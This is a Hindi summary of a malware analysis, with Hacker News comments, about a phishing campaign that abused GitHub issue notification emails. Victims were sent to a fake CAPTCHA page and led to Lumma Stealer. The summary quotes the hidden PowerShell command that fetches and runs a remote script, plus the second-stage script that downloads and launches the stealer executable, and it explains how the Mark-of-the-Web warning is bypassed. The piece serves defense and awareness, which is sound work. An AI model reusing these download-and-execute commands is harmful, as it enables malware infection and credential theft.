- हमलावर ने public repository की सामान्य notification flow का इस्तेमाल करके repository owner तक ऐसा malicious message पहुँचाया जो GitHub द्वारा वास्तव में भेजे गए ईमेल जैसा दिखता था
- ईमेल के body का अधिकांश हिस्सा हमलावर अपनी तरह से बना सकता है, इसलिए सिर्फ sender और link देखकर phishing है या नहीं तय करना मुश्किल है
- लिंक पर क्लिक करने पर fake CAPTCHA page खुलता है, और user को Windows Run dialog में PowerShell command paste करने के लिए उकसाया जाता है, जिससे malware download शुरू हो जाता है
- फ़ाइल PowerShell की .NET
System.Net.WebClient.DownloadFile से डाउनलोड होती है, इसलिए उस पर Mark of the Web नहीं लगता और Windows signature warning से बचा जा सकता है
- अंतिम payload VirusTotal पर कई antivirus द्वारा LUMMASTEALER से जुड़ा पाया गया, जो credentials, cryptocurrency wallets और sensitive data को निशाना बनाने वाला stealer malware है
GitHub notification email का इस्तेमाल करने वाला attack flow
- public repository owner को GitHub से issue, comment, Pull Request जैसी गतिविधियों के notification email अक्सर मिलते हैं
- हमलावर इस सामान्य notification system का निम्न क्रम में दुरुपयोग करता है
- एकबार इस्तेमाल होने वाला GitHub account बनाकर public repository में issue बनाता है
- issue को जल्दी delete कर देता है
- repository owner को GitHub से भेजा गया notification email मिलता है
- recipient ईमेल के link पर क्लिक करता है और malicious site पर पहुँचता है
- निर्देशों का पालन करने पर system malware से संक्रमित हो जाता है
- असली ईमेल body में लिखा था कि security vulnerability मिली है और अधिक जानकारी के लिए
github-scanner[.]com देखें, साथ ही “Github Security Team” का प्रतिरूपण किया गया था
ईमेल विश्वसनीय क्यों लगा
- ईमेल GitHub द्वारा वास्तव में भेजा गया notification था, इसलिए यह सामान्य phishing checks के बड़े हिस्से से गुजर जाता है
- mail sender वास्तव में GitHub था
- body के link दिखाए गए destination पर ही जाते थे
- ईमेल के उन हिस्सों से, जिन्हें हमलावर नियंत्रित नहीं करता, वास्तविक स्थिति समझना कठिन है
- नया issue बना है, यह बात ईमेल में पर्याप्त स्पष्ट नहीं थी
- हमलावर body text के जरिए मनचाहा context बना सकता था
- GitHub notification emails में attack impact कम करने के लिए निम्न सुधार किए जा सकते हैं
- किस action की वजह से ईमेल भेजा गया, इसका अधिक context देना
- हमलावर-नियंत्रित content का अनुपात कम करना
- ईमेल sender के बारे में स्पष्टता बढ़ाना
- संबंधित ईमेल और चिंताएँ वास्तविक GitHub Security तक पहुँचा दी गईं
fake CAPTCHA और PowerShell execution
- ईमेल link का पीछा करने पर CAPTCHA जैसा दिखने वाला page दिखाई देता है
- CAPTCHA से यह साबित करने की माँग कि आप इंसान हैं, Cloudflare जैसी services की automatic challenges के कारण users को अजीब नहीं लग सकती
- यह page सामान्य image-selection CAPTCHA नहीं था, बल्कि Windows Run dialog खोलकर command paste करने को कहता था
- clipboard में डाला जाने वाला पहला command hidden PowerShell window खोलता है और remote script डाउनलोड करके चलाता है
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
iex, Invoke-Expression का alias है और iwr, Invoke-WebRequest का alias है
- यह Linux में
curl | bash चलाने जैसी शैली में काम करता है
- command के अंत का comment, Windows Run dialog की चौड़ाई सीमा के कारण शुरुआती हिस्से को छिपा देता है और user को CAPTCHA verification text जैसा दिखता है
दूसरा download stage और Windows warning bypass
- डाउनलोड की गई script
github-scanner[.]com/l6E.exe को डाउनलोड करती है, उसे temp folder में SysSetup.exe नाम से सेव करती है और चलाती है
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
- executable पर digital signature था, लेकिन malicious binary का signature वैध नहीं था
- signature Spotify से आया हुआ प्रतीत हो रहा था, लेकिन DigiCert से चर्चा के बाद यह निष्कर्ष निकला कि यह चोरी का certificate नहीं बल्कि spoofed signature था
- Windows यह तय करने के लिए कि फ़ाइल internet से डाउनलोड हुई है या नहीं, Mark of the Web(MOTW) flag का इस्तेमाल करता है
- browser आदि downloaded files पर यह flag सेट कर सकते हैं
- Office जैसे software इस flag को देखकर अपना behavior बदल सकते हैं
- अगर वही executable browser से डाउनलोड किया जाए, तो Windows invalid signature की warning दिखाता है
- लेकिन victim flow में browser नहीं, बल्कि PowerShell की .NET Framework
System.Net.WebClient.DownloadFile method फ़ाइल डाउनलोड करती है
- यह method downloaded file पर MOTW flag सेट नहीं करती
- Windows invalid digital signature execution warning केवल MOTW लगी फ़ाइलों पर दिखाता है
- MOTW को आसानी से हटाया जा सकता है, इसलिए सिर्फ इस flag पर निर्भर रहना सुरक्षित नहीं है
- Windows की इससे संबंधित दो कमजोरियाँ Microsoft को रिपोर्ट की गईं
loader analysis और अंतिम payload
- executable में Ghidra पर .NET से जुड़े संकेत दिखे, इसलिए उसका analysis dotPeek से किया गया
- मुख्य flow entry point और
PersonalActivation method में था
- entry point console window को छिपाता है
- background thread में
PersonalActivation को दो बार call करता है
VirtualProtect से memory region को executable के रूप में mark करता है
CallWindowProcW से उसे execute करता है
PersonalActivation एक unused list और दो byte arrays लेता है
- पहला array data buffer जैसा दिखता है
- दूसरा array
key के रूप में चिह्नित है
- इसमें बहुत-सी गणितीय calculations होती हैं, इसलिए यह किसी decryption routine जैसा लगता है
VirtualProtect और CallWindowProcW calls को comment out करके debugger में decrypted buffer की जाँच की गई
- पहले buffer में
CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread आदि शामिल थे
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe path भी दिखाई दिया
- दूसरा buffer
MZ, PE header वाली Windows executable file के रूप में था
- loader ऊपर के बड़े byte array में मौजूद “encrypted” exe को memory में लोड करता है, उसे executable बनाता है और फिर चलाता है
Lumma Stealer detection और इस्तेमाल किए गए tools
- अंतिम चरण .NET नहीं बल्कि Windows exe था, इसलिए सिर्फ Ghidra output से आगे का analysis सीमित था
- दोनों binaries VirusTotal पर पहले से कई antivirus द्वारा detect की जा चुकी थीं
- detection names में समान रूप से LUMMASTEALER pattern दिखाई दिया
- Lumma, “malware as a service” मॉडल पर चलने वाले malware operations में से एक है
- stealer code cryptocurrency wallets, stored credentials और sensitive data की खोज करता है
- एकत्र किया गया data command-and-control (C2) server को भेजा जाता है
- इसके बाद financial theft या data sale तक बात पहुँच सकती है
- Lumma malware पारंपरिक ransomware की तरह victim device को encrypt करने की प्रवृत्ति नहीं रखता
- Lumma पर अतिरिक्त सामग्री के लिए Cyfirma का Lumma Stealer tactics, impact and defense strategies लेख सुझाया गया है
- analysis में इस्तेमाल किए गए tools थे Windows Sandbox, Ghidra, dotPeek, HxD और Visual Studio
1 टिप्पणियां
Hacker News की रायें
समझ नहीं आता कि क्या सच में लोग ऐसे scam में फंसते हैं
पहले तो सिर्फ screenshot से साफ नहीं है, लेकिन अगर मान लें कि लेखक जानता था कि email GitHub से आया है, तो पहला red flag यह है कि link github-scanner.com पर जाता है, जो असली domain का एक बदला हुआ रूप है
अगर आपको नहीं पता कि github-scanner.com किसका है, तो सिर्फ इसलिए कि वह किसी plausible असली site जैसा दिखता है, उसे scam मानना ही सुरक्षित है
बहुत बड़ा red flag यह है कि captcha आपको shell में command डालने को कहता है, और इसे चलाने के लिए कितना भोला होना पड़ेगा, इस पर कहने को और कुछ नहीं है
कोई भी perfect नहीं होता, और भरोसा दिलाने वाले factors जितने बढ़ते हैं, conversion rate बढ़ने की संभावना भी उतनी ही ज्यादा होती है
अगर किसी की नजर कमजोर है, समय का दबाव है, या वह थका-हारा है, तो जिसे आम तौर पर धोखा देना मुश्किल हो, उसे भी ज्यादा आसानी से फंसाया जा सकता है
अगर बड़े पैमाने पर automation संभव हो, तो कम conversion rate भी बहुत सारे account takeover में बदल सकता है
यह SSH key setup करने से बहुत अलग नहीं दिखता, और नए users सच में GitHub द्वारा भेजी गई commands copy-paste करने वाली flow से गुजरते हैं
वह साफ तौर पर malware रहा होगा, और मैंने तुरंत comments delete करके accounts को GitHub पर report किया
मैं ऐसे obvious तरीके में नहीं फंसता, लेकिन जिसने मूल सवाल पूछा था, वह GitHub activity history और सवाल की quality देखकर technical नहीं लग रहा था
अगर वह critical तरीके से देखे बिना बस जल्दी कुछ भी try करने की हालत में होता, तो उसके फंसने की संभावना दिखती है
Citi और PayPal भी कुछ emails में ऐसा करते हैं, जिससे हर बार झुंझलाहट होती है
पिछले महीने एक conference में एक cybersecurity company CEO ने keynote दिया, जिसमें कहा कि कुछ मामलों में आज भी 80% से ज्यादा users email scams में फंस जाते हैं, इसलिए और पैसे की जरूरत है
मैंने speaker से गंभीरता से पूछा कि अगर लाखों dollars और लगभग 25 साल खर्च करने के बाद भी 80% से ज्यादा users अब भी गलत links पर click करते हैं, तो क्या हम कुछ बुनियादी तौर पर गलत नहीं कर रहे हैं
हाल ही में PayPal से मुझे कहीं ज्यादा believable email मिला
किसी ने quote भेजा था, शायद यह ऐसा feature है जिसे बिना request के भी इस्तेमाल किया जा सकता है, और company name को कुछ इस तरह set किया था: “PayPal को हाल की $499.00 payment के बारे में आपसे संपर्क करना है, इसलिए +1-... पर call करें”
इसलिए PayPal quote email के “$xxx quote भेजा गया है” वाले text की वजह से वह company name ऊपर के text का ज्यादातर हिस्सा बन गया
यह email असली PayPal.com से आया था, और समझ नहीं आता कि payment processing company अब तक इस username समस्या को क्यों नहीं रोक पाई
मैंने report किया, लेकिन कोई जवाब नहीं मिला; सिर्फ उस account को नहीं, बल्कि ऐसे पूरे नामों को ban करना चाहिए
format भी सच में legitimate PayPal email जैसा दिखता था, और आम लोग इस scam में बहुत फंसेंगे ऐसा लगता है
अगर email चाहिए, तो मेरी profile website के जरिए contact कर सकते हैं
PayPal में login करने पर website पर कुछ भी दिखाई नहीं देता था
अगर कुछ चाहिए तो उन्हें सीधे phone करना चाहिए, email में content लिखना चाहिए, या portal में दिखाना चाहिए
security reasons तो हैं ही, लेकिन जिसने HTML को 5 मिनट भी छुआ है, वह “असली जैसा दिखने वाला” email बना सकता है
Win+R, CTRL+V
CAPTCHA से जाल तक
अगर कोई जूनियर डेवलपर हो, तो उसके धोखा खाने की संभावना दिखती है। कुछ ऐसा कि “GitHub है, तो वैध ही होगा, है न? हमारी इस्तेमाल की लाइब्रेरी के security alerts भी तो हर दो महीने में आते हैं”
कोई यह भी सोच सकता है, “ओह, code चलाकर हल होने वाला CAPTCHA, दिलचस्प है!”
वेबपेज को सिर्फ क्लिक से clipboard भरने की अनुमति नहीं होनी चाहिए, और मुझे लगता है कि content preview जरूरी है
शायद उन्होंने सोचा होगा कि क्लिक जैसी user action मांगने से समस्या हल हो जाएगी, लेकिन यह अभी भी बहुत कमजोर है, और यही पहली समस्या है
लोगों को emails में दिए links को सीधे चलाना या email content में वैधता मान लेना बंद करना होगा। email content अपने-आप में कोई वैधता नहीं रखता, और यह दूसरी समस्या है
तीसरी बात, क्या Windows अब भी PowerShell की एक लाइन से मशीन को root-level अधिकारों तक कब्जे में लेने देता है?
GitHub को भी शायद automated service के जरिए दूर से यह पुष्टि किए बिना कि link वैध content है, उसे issues में डालने से रोकना चाहिए
वे इसे लोगों के email पर भेज रहे हैं, तो यह नहीं कहना चाहिए कि उन्हें पता नहीं कि इसका phishing में इस्तेमाल हो सकता है। 2015 के हिसाब से भी यह Cyber Security 101 है
अंत में, अगर GitHub ऊपर की कार्रवाई नहीं कर सकता, तो लोगों को भेजी जाने वाली emails से ज्यादा content हटाकर banks की तरह बस “इस repository में एक नया issue है...” जैसा भेजना चाहिए
तब जब user जाकर देखता, तो message नहीं होता, और बात वहीं खत्म हो जाती। लगता है GitHub को यहां थोड़ा और परिपक्व होना होगा
मुझे लगता है कि लोगों को ठीक से train करना चाहिए कि हानिकारक क्या है
Windows के बारे में, हमारे कम-से-कम दो कर्मचारियों ने Windows से हटने की अनुमति मांगी है। हम पूरी कोशिश करेंगे, और यह लंबा चला project है, लेकिन आखिरकार कर लेंगे
“Run” dialog के screenshot में shield icon साफ दिखाता है कि user administrator privileges वाला है और UAC बंद है
अगर ऐसा है, तो अब Linux पर भी रोना चाहिए कि वह
curl malware.zyx/evilscript | bashकी एक लाइन से root privileges छीनने देता हैclipboard strategy को भी रोकना आसान दिखना चाहिए। ज्यादातर scammers फोन पर बस अच्छी तरह छिपाए गए URL को Run dialog में सीधे टाइप करने के लिए मना लेते हैं
हां, मैं 10x Windows user हूं
हम Windows को “root” की तरह treat कर सकते हैं क्योंकि हम ही root हैं, और खास तौर पर इसलिए कि Windows installation शुरू में जो user account setup करता है, उसे हमेशा administrator account बनाता है
यह फायदा है। जिस computer के हम मालिक हैं और जिसे हम इस्तेमाल करते हैं, उस पर हम जो चाहें कर सकते हैं
ऐसे दौर में, जब operating systems लगातार lock-down होते जा रहे हैं और users को अपने computers का सच में मालिक और administrator नहीं रहने दे रहे, Windows बस इसकी अनुमति देता है
कृपया यह बात कभी न बदले
संक्षेप में, email के links पर click मत करो
क्या github-scanner.com और github-scanner.shop अब भी वही malicious actor हैं? लगता तो ऐसा ही है
मजेदार है कि DNS Cloudflare पर है। Cloudflare मशहूर तौर पर कहता है कि वह “कुछ भी host नहीं करता”, लेकिन लगता है वह हम सबको बेवकूफ समझता है
Cloudflare, जो कोई जिम्मेदारी नहीं लेता, उसके पास ऐसे abuse को report करने का तरीका भी नहीं दिखता
malware host करने वाला domain 2x.si DNS के लिए भी Cloudflare इस्तेमाल करता है और hosting भी Cloudflare पर है
कम-से-कम इसे Cloudflare को report किया जा सकता है, लेकिन abuse reporting form में इंसानों पर rate limit लगाई जाती है और CAPTCHA तक मांगा जाता है
बस आह निकलती है। Cloudflare की वजह से आजकल phishing और malware hosting बहुत आसान हो गई है
दोनों से निपटने के अनुभव के आधार पर कह रहा हूं
उस page पर चुनने के लिए abuse type के रूप में Phishing & Malware दिखता है
यह गंभीर security commentary से ज्यादा शिकायत जैसा है, लेकिन phishing test fail करने का मानदंड “email में कोई भी link click किया” होना मुझे हमेशा खटकता रहा है
असल में ज्यादा अहम बात यह नहीं है कि phishing site पर credentials डाले गए या file download करके खोली गई?
मैं समझता हूं कि non-technical users को खराब links पर बिल्कुल click न करना सिखाना आसान है और browser vulnerabilities भी मौजूद हैं, लेकिन फिर भी यह कहीं न कहीं परेशान करता है
मैंने ऐसी posts बहुत देखी हैं जिनका अंत आखिरकार user द्वारा credentials डालने, browser को अजीब permissions देने, file download करने, या इस बार की तरह commands चलाने पर होता है
“link click किया और browser 0-day trigger होकर सब खत्म” पर खत्म होने वाले cases मैंने शायद ही देखे हैं
web browser का attack surface बड़ा है, लेकिन वह internet browse करने के लिए ही बनाया गया tool भी है
ज्यादातर लोग काम या research करते हुए links पर काफी बेफिक्री से click करते हैं
defense in depth जरूरी है, लेकिन “कभी भी malicious website पर visit मत करो” को core principle बनाने वाली security policy में काफी खामी लगती है
बेहतर है Qubes OS इस्तेमाल करें और links सिर्फ disposable virtual machine में खोलें, और उससे आगे कोई जानकारी enter न करें
नए account के email address verification mail मिलने पर मैं आम तौर पर ऐसा ही करता हूं
link click करने से हमेशा बचना संभव तो नहीं है, है न
“हमलावर issue को जल्दी से delete कर देता है” वाला हिस्सा देखकर मुझे एहसास हुआ कि मैंने कभी अपने बनाए हुए issue को delete करके नहीं देखा
लेकिन क्या repository में issue delete करने की सुविधा सिर्फ admin अधिकार वाले लोगों के पास नहीं होती? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
तो असल में repository में उस issue का निशान बचा रहता है, और pull request के साथ भी यही बात है
यह दावा गलत है कि email में यह बताने वाली कोई बात नहीं है कि वह नए issue से जुड़ा है
subject में “(Issue #1)” का मतलब ठीक यही है
मुझे भी वही email सच में मिला था, और मैं तुरंत समझ गया था कि repository में नया issue बना है
यह user GitHub issues से परिचित नहीं है, यह इस बात से भी साफ दिखता है कि यह repository का पहला issue है
लगता है GitHub को नए users को बेहतर तरीके से सिखाना चाहिए
ऐसे लोग सच में बहुत आसानी से ठगे जा सकते हैं
तकनीकी लोग पहचान सकते हैं, लेकिन इससे GitHub को बेहतर करने से छूट नहीं मिल जाती
आज सुबह मुझे ऐसे ही notifications में से एक मिला और मैंने तुरंत ignore कर दिया
मज़ेदार बात यह थी कि target यही repository थी: https://github.com/kyledrake/theftcoinjs
पढ़ने लायक लेख है। दिखाता है कि attackers क्या करने की कोशिश कर रहे हैं
सिर्फ link देखकर ही शक करना आसान है, लेकिन किसी को इसे खोदकर जांचते हुए देखने में मज़ा है
आज सुबह मैंने GitHub repository में एक bug पोस्ट किया, और 1 मिनट से भी कम समय में किसी ने लगभग ऐसा reply किया
“इसे try करें। लगता है इससे समस्या ठीक हो जाएगी। compiler चाहिए तो GCC install करें”
इसके बाद Bitly link और password था, जो MediaFire की zip file पर redirect करता था
GitHub ने मेरी abuse report एक घंटे के अंदर process की और उस user के सभी posts हटा दिए
अरे वाह, मुझे भी ऐसे ही GitHub notification emails मिल रहे थे
उसमें लिखा था कि repository में vulnerability detect हुई है, और यह news देखने से पहले मैंने सोचा भी नहीं था कि यह fake हो सकता है
फिर भी आलसी programmer होने के कारण मैंने click नहीं किया। एक बार लिख दिया तो लिख दिया; code दोबारा लिखता हूं, लेकिन अपने code में bugs ढूंढकर ठीक नहीं करता
यह वह feature है जिसमें GitHub project dependencies की security vulnerabilities के बारे में बताता है
उदाहरण के लिए, अगर आप Python इस्तेमाल करते हैं और
requirements.txtमेंrequestslibrary specify की है, तो GitHub उस library की publicly disclosed vulnerability के बारे में email से बताएगा और आपको fixed higher version पर upgrade करने की सलाह देगा